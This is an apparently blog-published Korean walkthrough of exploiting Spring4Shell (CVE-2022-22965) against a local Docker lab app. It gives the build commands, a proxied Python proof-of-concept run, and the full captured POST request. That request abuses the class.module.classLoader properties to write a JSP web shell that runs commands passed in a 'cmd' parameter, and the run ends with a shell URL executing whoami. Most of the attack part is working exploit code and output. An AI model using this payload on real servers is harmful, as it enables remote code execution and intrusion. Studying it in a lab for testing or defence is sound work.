Spring4Shell - CVE-2022-22965

Build

저장소를 클론한 뒤 컨테이너를 빌드하고 실행해 봅시다.

$ git clone https://github.com/twseptian/cve-2022-22965.git
$ cd cve-2022-22965
$ docker build . -t spring4shell-poc
$ docker run -p 8080:8080 --name spring4shell-poc spring4shell-poc

브라우저에서 http://172.17.0.2:8080/spring-form/greeting 접근을 확인하세요.

docker run

PoC

poc.py에 프록시를 추가합니다.

[SNIP]
proxies = {'http':'http://127.0.0.1:8081','https':'https://127.0.0.1:8081'} #proxy configuration
[SNIP]
...
[SNIP]
        try:
            requests.post(self.url,
                          headers=headers,
                          data=data,
                          timeout=15,
                          allow_redirects=False,
                          verify=False, proxies=proxies)
[SNIP]

다음 명령으로 poc.py를 실행합니다.

$ python3 poc.py --url http://172.17.0.2:8080/spring-form/greeting
Vulnerable，shell url: http://172.17.0.2:8080/tomcatwar.jsp?pwd=j&cmd=whoami

python poc

참고: 파이썬 익스플로잇을 제공해 준 Spring4Shell PoC Application에게 감사드립니다.

익스플로잇이 셸 URL을 생성하는 동안 버프스위트를 사용하여 POST 요청을 가로챌 수 있습니다.

POST /spring-form/greeting HTTP/1.1
Host: 172.17.0.2:8080
User-Agent: python-requests/2.23.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
suffix: %>//
c1: Runtime
c2: <%
DNT: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 762

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

참고: 요청은 직접 분석해 보세요 #lul

익스플로잇은 셸 URL을 생성합니다. 브라우저에서 해당 URL에 접속하면 대상에 대한 원격 코드 실행을 수행할 수 있습니다.

shell url

cve-2022-22965

인기

Spring4Shell - CVE-2022-22965

Build

PoC

참조